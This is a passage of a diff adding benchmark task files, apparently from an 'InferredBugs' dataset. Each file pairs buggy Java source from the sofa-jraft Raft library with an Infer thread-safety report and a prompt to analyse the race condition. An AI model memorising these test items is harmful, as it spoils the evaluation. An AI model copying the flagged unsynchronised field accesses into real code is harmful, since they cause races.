+                }
+                rb.addEntries(emb.build());
+            }
+            if (rb.getEntriesCount() == 0) {
+                if (nextSendingIndex < this.options.getLogManager().getFirstLogIndex()) {
+                    installSnapshot();
+                    return false;
+                }
+                // _id is unlock in _wait_more
+                waitMoreEntries(nextSendingIndex);
+                return false;
+            }
+            if (byteBufList.getCapacity() > 0) {
+                dataBuf = ByteBufferCollector.allocateByRecyclers(byteBufList.getCapacity());
+                for (final ByteBuffer b : byteBufList) {
+                    dataBuf.put(b);
+                }
+                final ByteBuffer buf = dataBuf.getBuffer();
+                buf.flip();
+                rb.setData(ZeroByteStringHelper.wrap(buf));
+            }
+        } finally {
+            RecycleUtil.recycle(byteBufList);
+        }
+
+        final AppendEntriesRequest request = rb.build();
+        if (LOG.isDebugEnabled()) {
+            LOG.debug(
+                "Node {} send AppendEntriesRequest to {} term {} lastCommittedIndex {} prevLogIndex {} prevLogTerm {} logIndex {} count {}",
+                this.options.getNode().getNodeId(), this.options.getPeerId(), this.options.getTerm(),
+                request.getCommittedIndex(), request.getPrevLogIndex(), request.getPrevLogTerm(), nextSendingIndex,
+                request.getEntriesCount());
+        }
+        this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+        this.statInfo.firstLogIndex = rb.getPrevLogIndex() + 1;
+        this.statInfo.lastLogIndex = rb.getPrevLogIndex() + rb.getEntriesCount();
+
+        final Recyclable recyclable = dataBuf;
+        final int v = this.version;
+        final long monotonicSendTimeMs = Utils.monotonicMs();
+        final int seq = getAndIncrementReqSeq();
+        final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+            request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    RecycleUtil.recycle(recyclable);
+                    onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request, getResponse(), seq,
+                        v, monotonicSendTimeMs);
+                }
+
+            });
+        addInflight(RequestType.AppendEntries, nextSendingIndex, request.getEntriesCount(), request.getData().size(),
+            seq, rpcFuture);
+        return true;
+
+    }
+
+    public static void sendHeartbeat(final ThreadId id, final RpcResponseClosure<AppendEntriesResponse> closure) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            Utils.runClosureInThread(closure, new Status(RaftError.EHOSTDOWN, "Peer %s is not connected", id));
+            return;
+        }
+        //id unlock in send empty entries.
+        r.sendEmptyEntries(true, closure);
+    }
+
+    private static void sendHeartbeat(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        // unlock in sendEmptyEntries
+        r.sendEmptyEntries(true);
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish) {
+        sendTimeoutNow(unlockId, stopAfterFinish, -1);
+    }
+
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish, final int timeoutMs) {
+        final TimeoutNowRequest.Builder rb = TimeoutNowRequest.newBuilder();
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        try {
+            if (!stopAfterFinish) {
+                // This RPC is issued by transfer_leadership, save this call_id so that
+                // the RPC can be cancelled by stop.
+                this.timeoutNowInFly = timeoutNow(rb, false, timeoutMs);
+                this.timeoutNowIndex = 0;
+            } else {
+                timeoutNow(rb, true, timeoutMs);
+            }
+        } finally {
+            if (unlockId) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    private Future<Message> timeoutNow(final TimeoutNowRequest.Builder rb, final boolean stopAfterFinish,
+                                       final int timeoutMs) {
+        final TimeoutNowRequest request = rb.build();
+        return this.rpcService.timeoutNow(this.options.getPeerId().getEndpoint(), request, timeoutMs,
+            new RpcResponseClosureAdapter<TimeoutNowResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    if (Replicator.this.id != null) {
+                        onTimeoutNowReturned(Replicator.this.id, status, request, getResponse(), stopAfterFinish);
+                    }
+                }
+
+            });
+    }
+
+    @SuppressWarnings("unused")
+    static void onTimeoutNowReturned(final ThreadId id, final Status status, final TimeoutNowRequest request,
+                                     final TimeoutNowResponse response, final boolean stopAfterFinish) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received TimeoutNowResponse from "). //
+                append(r.options.getPeerId());
+        }
+        if (!status.isOk()) {
+            if (isLogDebugEnabled) {
+                sb.append(" fail:").append(status);
+                LOG.debug(sb.toString());
+            }
+            notifyReplicatorStatusListener(r, ReplicatorEvent.ERROR, status);
+            if (stopAfterFinish) {
+                r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+                r.destroy();
+            } else {
+                id.unlock();
+            }
+            return;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(response.getSuccess() ? " success" : " fail");
+            LOG.debug(sb.toString());
+        }
+        if (response.getTerm() > r.options.getTerm()) {
+            final NodeImpl node = r.options.getNode();
+            r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+            r.destroy();
+            node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                "Leader receives higher term timeout_now_response from peer:%s", r.options.getPeerId()));
+            return;
+        }
+        if (stopAfterFinish) {
+            r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+            r.destroy();
+        } else {
+            id.unlock();
+        }
+
+    }
+
+    public static boolean stop(final ThreadId id) {
+        id.setError(RaftError.ESTOP.getNumber());
+        return true;
+    }
+
+    public static boolean join(final ThreadId id) {
+        id.join();
+        return true;
+    }
+
+    public static long getLastRpcSendTimestamp(final ThreadId id) {
+        final Replicator r = (Replicator) id.getData();
+        if (r == null) {
+            return 0L;
+        }
+        return r.lastRpcSendTimestamp;
+    }
+
+    public static boolean transferLeadership(final ThreadId id, final long logIndex) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // dummy is unlock in _transfer_leadership
+        return r.transferLeadership(logIndex);
+    }
+
+    private boolean transferLeadership(final long logIndex) {
+        if (this.hasSucceeded && this.nextIndex > logIndex) {
+            // _id is unlock in _send_timeout_now
+            sendTimeoutNow(true, false);
+            return true;
+        }
+        // Register log_index so that _on_rpc_return trigger
+        // _send_timeout_now if _next_index reaches log_index
+        this.timeoutNowIndex = logIndex;
+        this.id.unlock();
+        return true;
+    }
+
+    public static boolean stopTransferLeadership(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.timeoutNowIndex = 0;
+        id.unlock();
+        return true;
+    }
+
+    public static boolean sendTimeoutNowAndStop(final ThreadId id, final int timeoutMs) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // id unlock in sendTimeoutNow
+        r.sendTimeoutNow(true, true, timeoutMs);
+        return true;
+    }
+
+    public static long getNextIndex(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return 0;
+        }
+        long nextIdx = 0;
+        if (r.hasSucceeded) {
+            nextIdx = r.nextIndex;
+        }
+        id.unlock();
+        return nextIdx;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.core.Replicator.installSnapshot` reads without synchronization from `this.com.alipay.sofa.jraft.core.Replicator.id`. Potentially races with write in method `Replicator.destroy()`.
+ Reporting because the current class is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Replicator.installSnapshot()
+
+### Procedure Id:
+com.alipay.sofa.jraft.core.Replicator.installSnapshot():void.e3306dc042cb27a2a7f7c45d7a122510
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/core/Replicator.java
+
+### Key:
+Replicator.java|installSnapshot|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+66d0c3ec97f31e9d23eaf3a4dacea30c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9228/instruction.md b/inferredbugs-9228/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a36bddfb74095a94b0a235797803750922598c69
--- /dev/null
+++ b/inferredbugs-9228/instruction.md
@@ -0,0 +1,339 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.rpc.impl;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Future;
+import java.util.concurrent.ThreadPoolExecutor;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.remoting.InvokeCallback;
+import com.alipay.remoting.InvokeContext;
+import com.alipay.remoting.Url;
+import com.alipay.remoting.exception.RemotingException;
+import com.alipay.remoting.rpc.RpcClient;
+import com.alipay.remoting.rpc.exception.InvokeTimeoutException;
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.option.RpcOptions;
+import com.alipay.sofa.jraft.rpc.ClientService;
+import com.alipay.sofa.jraft.rpc.ProtobufMsgFactory;
+import com.alipay.sofa.jraft.rpc.RpcRequests.ErrorResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.PingRequest;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.impl.core.JRaftRpcAddressParser;
+import com.alipay.sofa.jraft.util.Endpoint;
+import com.alipay.sofa.jraft.util.NamedThreadFactory;
+import com.alipay.sofa.jraft.util.ThreadPoolMetricSet;
+import com.alipay.sofa.jraft.util.ThreadPoolUtil;
+import com.alipay.sofa.jraft.util.Utils;
+import com.google.protobuf.Message;
+
+/**
+ * Abstract RPC client service based on bolt.
+
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-09 3:27:33 PM
+ */
+public abstract class AbstractBoltClientService implements ClientService {
+
+    protected static final Logger   LOG = LoggerFactory.getLogger(AbstractBoltClientService.class);
+
+    static {
+        ProtobufMsgFactory.load();
+    }
+
+    protected RpcClient             rpcClient;
+    protected ThreadPoolExecutor    rpcExecutor;
+    protected RpcOptions            rpcOptions;
+    protected JRaftRpcAddressParser rpcAddressParser;
+    protected InvokeContext         defaultInvokeCtx;
+
+    public RpcClient getRpcClient() {
+        return this.rpcClient;
+    }
+
+    @Override
+    public boolean isConnected(final Endpoint endpoint) {
+        return this.rpcClient.checkConnection(endpoint.toString());
+    }
+
+    @Override
+    public synchronized boolean init(final RpcOptions rpcOptions) {
+        if (this.rpcClient != null) {
+            return true;
+        }
+        this.rpcOptions = rpcOptions;
+        this.rpcAddressParser = new JRaftRpcAddressParser();
+        this.defaultInvokeCtx = new InvokeContext();
+        this.defaultInvokeCtx.put(InvokeContext.BOLT_CRC_SWITCH, this.rpcOptions.isEnableRpcChecksum());
+        return initRpcClient(this.rpcOptions.getRpcProcessorThreadPoolSize());
+    }
+
+    protected void configRpcClient(final RpcClient rpcClient) {
+        // NO-OP
+    }
+
+    protected boolean initRpcClient(final int rpcProcessorThreadPoolSize) {
+        this.rpcClient = new RpcClient();
+        configRpcClient(this.rpcClient);
+        this.rpcClient.init();
+        this.rpcExecutor = ThreadPoolUtil.newBuilder() //
+            .poolName("JRaft-RPC-Processor") //
+            .enableMetric(true) //
+            .coreThreads(rpcProcessorThreadPoolSize / 3) //
+            .maximumThreads(rpcProcessorThreadPoolSize) //
+            .keepAliveSeconds(60L) //
+            .workQueue(new ArrayBlockingQueue<>(10000)) //
+            .threadFactory(new NamedThreadFactory("JRaft-RPC-Processor-", true)) //
+            .build();
+        if (this.rpcOptions.getMetricRegistry() != null) {
+            this.rpcOptions.getMetricRegistry().register("raft-rpc-client-thread-pool",
+                new ThreadPoolMetricSet(this.rpcExecutor));
+            Utils.registerClosureExecutorMetrics(this.rpcOptions.getMetricRegistry());
+        }
+        return true;
+    }
+
+    @Override
+    public synchronized void shutdown() {
+        if (this.rpcClient != null) {
+            this.rpcClient.shutdown();
+            this.rpcClient = null;
+            this.rpcExecutor.shutdown();
+        }
+    }
+
+    @Override
+    public boolean connect(final Endpoint endpoint) {
+        if (this.rpcClient == null) {
+            throw new IllegalStateException("Client service is not inited.");
+        }
+        if (isConnected(endpoint)) {
+            return true;
+        }
+        try {
+            final PingRequest req = PingRequest.newBuilder() //
+                .setSendTimestamp(System.currentTimeMillis()) //
+                .build();
+            final ErrorResponse resp = (ErrorResponse) this.rpcClient.invokeSync(endpoint.toString(), req,
+                this.defaultInvokeCtx, this.rpcOptions.getRpcConnectTimeoutMs());
+            return resp.getErrorCode() == 0;
+        } catch (final InterruptedException e) {
+            Thread.currentThread().interrupt();
+            return false;
+        } catch (final RemotingException e) {
+            LOG.error("Fail to connect {}, remoting exception: {}.", endpoint, e.getMessage());
+            return false;
+        }
+    }
+
+    @Override
+    public boolean disconnect(final Endpoint endpoint) {
+        LOG.info("Disconnect from {}", endpoint);
+        this.rpcClient.closeConnection(endpoint.toString());
+        return true;
+    }
+
+    @Override
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs) {
+        return invokeWithDone(endpoint, request, this.defaultInvokeCtx, done, timeoutMs, this.rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs,
+                                                              final Executor rpcExecutor) {
+        return invokeWithDone(endpoint, request, this.defaultInvokeCtx, done, timeoutMs, rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final InvokeContext ctx,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs) {
+        return invokeWithDone(endpoint, request, ctx, done, timeoutMs, this.rpcExecutor);
+    }
+
+    public <T extends Message> Future<Message> invokeWithDone(final Endpoint endpoint, final Message request,
+                                                              final InvokeContext ctx,
+                                                              final RpcResponseClosure<T> done, final int timeoutMs,
+                                                              final Executor rpcExecutor) {
+        final FutureImpl<Message> future = new FutureImpl<>();
+        try {
+            final Url rpcUrl = this.rpcAddressParser.parse(endpoint.toString());
+            this.rpcClient.invokeWithCallback(rpcUrl, request, ctx, new InvokeCallback() {
+
+                @SuppressWarnings("unchecked")
+                @Override
+                public void onResponse(final Object result) {
+                    if (future.isCancelled()) {
+                        onCanceled(request, done);
+                        return;
+                    }
+                    Status status = Status.OK();
+                    if (result instanceof ErrorResponse) {
+                        final ErrorResponse eResp = (ErrorResponse) result;
+                        status = new Status();
+                        status.setCode(eResp.getErrorCode());
+                        if (eResp.hasErrorMsg()) {
+                            status.setErrorMsg(eResp.getErrorMsg());
+                        }
+                    } else {
+                        if (done != null) {
+                            done.setResponse((T) result);
+                        }
+                    }
+                    if (done != null) {
+                        try {
+                            done.run(status);
+                        } catch (final Throwable t) {
+                            LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+                        }
+                    }
+                    if (!future.isDone()) {
+                        future.setResult((Message) result);
+                    }
+                }
+
+                @Override
+                public void onException(final Throwable e) {
+                    if (future.isCancelled()) {
+                        onCanceled(request, done);
+                        return;
+                    }
+                    if (done != null) {
+                        try {
+                            done.run(new Status(e instanceof InvokeTimeoutException ? RaftError.ETIMEDOUT
+                                : RaftError.EINTERNAL, "RPC exception:" + e.getMessage()));
+                        } catch (final Throwable t) {
+                            LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+                        }
+                    }
+                    if (!future.isDone()) {
+                        future.failure(e);
+                    }
+                }
+
+                @Override
+                public Executor getExecutor() {
+                    return rpcExecutor != null ? rpcExecutor : AbstractBoltClientService.this.rpcExecutor;
+                }
+            }, timeoutMs <= 0 ? this.rpcOptions.getRpcDefaultTimeout() : timeoutMs);
+        } catch (final InterruptedException e) {
+            Thread.currentThread().interrupt();
+            future.failure(e);
+            // should be in another thread to avoid dead locking.
+            Utils.runClosureInThread(done, new Status(RaftError.EINTR, "Sending rpc was interrupted"));
+        } catch (final RemotingException e) {
+            future.failure(e);
+            // should be in another thread to avoid dead locking.
+            Utils.runClosureInThread(done,
+                new Status(RaftError.EINTERNAL, "Fail to send a RPC request:" + e.getMessage()));
+
+        }
+        return future;
+    }
+
+    private <T extends Message> void onCanceled(final Message request, final RpcResponseClosure<T> done) {
+        if (done != null) {
+            try {
+                done.run(new Status(RaftError.ECANCELED, "RPC request was canceled by future."));
+            } catch (final Throwable t) {
+                LOG.error("Fail to run RpcResponseClosure, the request is {}.", request, t);
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.connect` reads without synchronization from `this.com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.rpcClient`. Potentially races with write in method `AbstractBoltClientService.shutdown()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean AbstractBoltClientService.connect(Endpoint)
+
+### Procedure Id:
+com.alipay.sofa.jraft.rpc.impl.AbstractBoltClientService.connect(com.alipay.sofa.jraft.util.Endpoint.fca7ed64d9306b96a818ab5dc4db9ca7
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/rpc/impl/AbstractBoltClientService.java
+
+### Key:
+AbstractBoltClientService.java|connect|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a168158a89f6722ef6614126963dac17
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9242/instruction.md b/inferredbugs-9242/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cb599d7d00326806d518af6c4be752bd4808f726
--- /dev/null
+++ b/inferredbugs-9242/instruction.md
@@ -0,0 +1,379 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.storage.snapshot.remote;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+import javax.annotation.concurrent.ThreadSafe;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.core.TimerManager;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.option.CopyOptions;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.GetFileRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.GetFileResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.SnapshotThrottle;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.Endpoint;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.Utils;
+import com.google.protobuf.Message;
+
+/**
+ * Copy session based on bolt framework.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-08 12:01:23 PM
+ */
+@ThreadSafe
+public class BoltSession implements Session {
+
+    private static final Logger          LOG  = LoggerFactory.getLogger(BoltSession.class);
+
+    private final Lock                   lock;
+    private final Status                 st;
+    private final RaftClientService      rpcService;
+    private int                          retryTimes;
+    private boolean                      finished;
+    private ByteBufferCollector          destBuf;
+    private CopyOptions                  copyOptions;
+    private GetFileRequest.Builder       requestBuilder;
+    private final CountDownLatch         finishLatch;
+    private OutputStream                 outputStream;
+    private final Endpoint               endpoint;
+    private final GetFileResponseClosure done = new GetFileResponseClosure();
+    private ScheduledFuture<?>           timer;
+    private String                       destPath;
+    private final RaftOptions            raftOptions;
+    private Future<Message>              rpcCall;
+    private final TimerManager           timerManager;
+    private final SnapshotThrottle       snapshotThrottle;
+
+    /**
+     * Get file response closure to answer client.
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-13 4:50:21 PM
+     */
+    private class GetFileResponseClosure extends RpcResponseClosureAdapter<GetFileResponse> {
+
+        @Override
+        public void run(Status status) {
+            onRpcReturned(status, getResponse());
+        }
+
+    }
+
+    public void setDestPath(String destPath) {
+        this.destPath = destPath;
+    }
+
+    @OnlyForTest
+    GetFileResponseClosure getDone() {
+        return this.done;
+    }
+
+    @OnlyForTest
+    Future<Message> getRpcCall() {
+        return this.rpcCall;
+    }
+
+    @OnlyForTest
+    ScheduledFuture<?> getTimer() {
+        return this.timer;
+    }
+
+    @Override
+    public void close() throws IOException {
+        lock.lock();
+        try {
+            if (!this.finished) {
+                Utils.closeQuietly(this.outputStream);
+            }
+        } finally {
+            lock.unlock();
+        }
+    }
+
+    public BoltSession(RaftClientService rpcService, TimerManager timerManager, SnapshotThrottle snapshotThrottle,
+                       RaftOptions raftOptions, GetFileRequest.Builder rb, Endpoint ep) {
+        super();
+        this.snapshotThrottle = snapshotThrottle;
+        this.raftOptions = raftOptions;
+        this.timerManager = timerManager;
+        this.rpcService = rpcService;
+        this.requestBuilder = rb;
+        this.retryTimes = 0;
+        this.copyOptions = new CopyOptions();
+        this.lock = new ReentrantLock();
+        this.endpoint = ep;
+        this.st = Status.OK();
+        this.finishLatch = new CountDownLatch(1);
+
+    }
+
+    public void setDestBuf(ByteBufferCollector bufRef) {
+        this.destBuf = bufRef;
+    }
+
+    public void setCopyOptions(CopyOptions copyOptions) {
+        this.copyOptions = copyOptions;
+    }
+
+    public void setOutputStream(OutputStream out) {
+        this.outputStream = out;
+    }
+
+    @Override
+    public void cancel() {
+        lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            if (this.timer != null) {
+                this.timer.cancel(true);
+            }
+            if (this.rpcCall != null) {
+                this.rpcCall.cancel(true);
+            }
+            if (st.isOk()) {
+                st.setError(RaftError.ECANCELED, RaftError.ECANCELED.name());
+            }
+
+            this.onFinished();
+        } finally {
+            lock.unlock();
+        }
+
+    }
+
+    @Override
+    public void join() throws InterruptedException {
+        this.finishLatch.await();
+    }
+
+    @Override
+    public Status status() {
+        return st;
+    }
+
+    private void onFinished() {
+        if (!this.finished) {
+            if (outputStream != null) {
+                Utils.closeQuietly(this.outputStream);
+                this.outputStream = null;
+            }
+            if (this.destBuf != null) {
+                final ByteBuffer buf = this.destBuf.getBuffer();
+                if (buf != null) {
+                    buf.flip();
+                }
+                this.destBuf = null;
+            }
+            this.finished = true;
+            this.finishLatch.countDown();
+        }
+    }
+
+    private void onTimer() {
+        Utils.runInThread(this::sendNextRpc);
+    }
+
+    void onRpcReturned(Status status, GetFileResponse response) {
+        lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            if (!status.isOk()) {
+                // Reset count to make next rpc retry the previous one
+                requestBuilder.setCount(0);
+                if (status.getCode() == RaftError.ECANCELED.getNumber()) {
+                    if (st.isOk()) {
+                        st.setError(status.getCode(), status.getErrorMsg());
+                        this.onFinished();
+                        return;
+                    }
+                }
+
+                // Throttled reading failure does not increase _retry_times
+                if (status.getCode() != RaftError.EAGAIN.getNumber()
+                    && ++this.retryTimes >= this.copyOptions.getMaxRetry()) {
+                    if (st.isOk()) {
+                        st.setError(status.getCode(), status.getErrorMsg());
+                        this.onFinished();
+                        return;
+                    }
+                }
+                this.timer = this.timerManager.schedule(this::onTimer, this.copyOptions.getRetryIntervalMs(),
+                        TimeUnit.MILLISECONDS);
+                return;
+            }
+            this.retryTimes = 0;
+            Requires.requireNonNull(response, "response");
+            // Reset count to |real_read_size| to make next rpc get the right offset
+            if (response.hasReadSize() && response.getReadSize() != 0) {
+                this.requestBuilder.setCount(response.getReadSize());
+            }
+            if (outputStream != null) {
+                try {
+                    response.getData().writeTo(outputStream);
+                } catch (final IOException e) {
+                    LOG.error("Fail to write into file {}", this.destPath);
+                    st.setError(RaftError.EIO, RaftError.EIO.name());
+                    this.onFinished();
+                    return;
+                }
+            } else {
+                final byte[] data = response.getData().toByteArray();
+                this.destBuf.put(data);
+            }
+            if (response.getEof()) {
+                onFinished();
+                return;
+            }
+        } finally {
+            lock.unlock();
+        }
+        this.sendNextRpc();
+    }
+
+    /**
+     * Send next RPC request to get a piece of file data.
+     */
+    void sendNextRpc() {
+        this.timer = null;
+        final long offset = requestBuilder.getOffset() + requestBuilder.getCount();
+        final long maxCount = this.destBuf == null ? raftOptions.getMaxByteCountPerRpc() : Integer.MAX_VALUE;
+        this.requestBuilder = requestBuilder.setOffset(offset).setCount(maxCount).setReadPartly(true);
+        this.lock.lock();
+        try {
+            if (this.finished) {
+                return;
+            }
+            // throttle
+            long newMaxCount = maxCount;
+            if (this.snapshotThrottle != null) {
+                newMaxCount = snapshotThrottle.throttledByThroughput(maxCount);
+                if (newMaxCount == 0) {
+                    // Reset count to make next rpc retry the previous one
+                    this.requestBuilder.setCount(0);
+                    this.timer = this.timerManager.schedule(this::onTimer, this.copyOptions.getRetryIntervalMs(),
+                            TimeUnit.MILLISECONDS);
+                    return;
+                }
+            }
+            this.requestBuilder.setCount(newMaxCount);
+            LOG.debug("Send get file request {} to peer {}", this.requestBuilder.build(), this.endpoint);
+            this.rpcCall = this.rpcService.getFile(endpoint, this.requestBuilder.build(),
+                this.copyOptions.getTimeoutMs(), done);
+        } finally {
+            lock.unlock();
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.sendNextRpc` writes to field `this.com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.timer` outside of synchronization.
+ Reporting because the current class is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BoltSession.sendNextRpc()
+
+### Procedure Id:
+com.alipay.sofa.jraft.storage.snapshot.remote.BoltSession.sendNextRpc():void.df8bf8734eb44ec2bca56be19a43f342
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/storage/snapshot/remote/BoltSession.java
+
+### Key:
